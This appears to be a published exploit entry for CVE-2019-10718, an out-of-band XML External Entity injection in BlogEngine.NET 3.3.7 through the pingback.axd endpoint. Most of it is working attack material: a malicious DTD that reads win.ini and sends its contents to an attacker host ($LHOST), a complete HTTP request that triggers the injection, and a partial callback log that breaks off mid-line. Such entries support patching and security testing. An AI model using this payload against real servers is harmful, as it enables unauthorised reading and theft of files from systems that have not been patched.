# Exploit Title: Out-of-band XML External Entity Injection on BlogEngine.NET
# Date: 19 June 2019
# Exploit Author: Aaron Bishop
# Vendor Homepage: https://blogengine.io/
# Version: v3.3.7
# Tested on: 3.3.7, 3.3.6
# CVE : 2019-10718
#1. Description
#==============
#BlogEngine.NET is vulnerable to an Out-of-Band XML External Entity
#Injection attack on **/pingback.axd**.
#2. Proof of Concept
#=============
#Host the following malicious DTD on a web server that is accessible to the
#target system:
#~~~
#<!ENTITY % p1 SYSTEM "file:///C:/Windows/win.ini">
#<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://$LHOST/X?%p1;'>"> %p2
#~~~
#Submit a request to `pingback.axd` containing a malicious XML body:
#~~~{command="REQUEST"}
#POST /pingback.axd HTTP/1.1
#Host: $RHOST
#Accept-Encoding: gzip, deflate
#Connection: close
#User-Agent: python-requests/2.12.4
#Accept: */*
#Content-Type: text/xml
#Content-Length: 131
#<?xml version="1.0"?>
#<!DOCTYPE foo SYSTEM "http://$LHOST/ex.dtd">
#<foo>&e1;</foo>
#<methodName>pingback.ping</methodName>
#~~~
#The application will request the remote DTD and submit a subsequent request
#containing the contents of the file:
#~~~
#$RHOST - - [17/May/2019 12:03:32] "GET /ex.dtd HTTP/1.1" 200 -
#$RHOST - - [17/May/2019 12:03:32] "GET
